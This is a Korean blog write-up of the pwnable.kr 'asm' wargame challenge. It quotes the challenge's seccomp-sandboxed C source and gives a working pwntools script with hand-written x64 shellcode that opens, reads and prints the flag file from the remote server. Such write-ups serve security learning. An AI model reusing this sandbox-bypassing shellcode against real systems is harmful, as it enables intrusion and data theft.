#Pwnable.kr #asm #Toddler
asm 문제는 shellcode 를 제작하는 문제이다.
접속을 해서 readme 파일을 읽어보면, 원격지에 로컬에서와 같은 이름의 플래그 파일이 있고 읽어보라는.. 그런 내용이다.
# asm.c
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
asm.c 파일이다. 핵심적인 부분만 보면 우선 stub[] 에 기반이 되는 어셈코드가 들어가있고, 할당된 sh heap 에 stub 를 memcpy 시킨다.
그리고 해당 코드 이후에 사용자 입력을 1000 바이트 받아오고나서 sandbox() 함수를 실행시키는데 이 함수를 알아두어야 쉘코드를 적절히 기입할 수 있다.
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
요약하면, seccomp 를 이용하여 system call 을 제한시키는 코드이다. 해당 seccomp rule 에 따르면 쉘코드에 사용할 수 있는 시스템콜을 open, read, write, exit, exit_group
5 개가 전부이다.
[mmap 으로 할당된 rwx 영역]
처음에 생각한 시나리오는 (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
으로 할당된 0x41414000 영역에서 쉘코드가 들어가는 영역 이외의 영역에 read 로 파일 이름을 입력받고 해당주소를 open 하여 똑같은 영역에 read 로 flag 를 읽어와서 write 로 flag 를 출력하는 시나리오를 생각했다.
그러나, 왜 인지 read(0, 0x4141~~~, 0x100);
를 코드로 짜서 입력 했을 때 해당 stdin 파일 디스크립터가 인식이 안되는건지 입력이 안되었다.
그래서 그냥 쉘코드를 기입한 후에 그 뒤에 파일이름 을 이어서 아예 sh 에 파일이름까지 넣었다.
파일이름이 들어간 해당 영역 주소는 0x41414000 + (쉘코드길이) 로 계산을 하면 될 것이다.
쉘코드를 만드는 방법은 shellcraft 도 있고 다양한 방법이 있지만, 공부와 이해를 위해 쉘코드는 이 사이트에서 만든다
x64 system call table 은 여기를 참고했다
이런 식으로 만들어서 payload 전달하면 된다. 끗
from pwn import *
s=remote("pwnable.kr",9026)
# why stdin fd can't do anything???
short_pay="\x48\xC7\xC0\x02\x00\x00\x00\x48\xC7\xC7\x6F\x40\x41\x41\x0F\x05\x48\x89\xC7\x48\xC7\xC0\x00\x00\x00\x00\x48\xC7\xC6\x00\x45\x41\x41\x48\xC7\xC2\x00\x01\x00\x00\x0F\x05\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC2\x00\x01\x00\x00\x0F\x05this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00"
s.sendline(short_pay)
s.interactive()
'<Wargame & CTF> > Pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] horcruxes (0) | 2021.05.30 |
---|---|
[Pwnable.kr] blukat (0) | 2021.05.30 |
[Pwnable.kr] memcpy (0) | 2021.05.29 |
[Pwnable.kr] Unlink (0) | 2020.09.22 |
[Pwnable.kr]shellshock (0) | 2019.05.11 |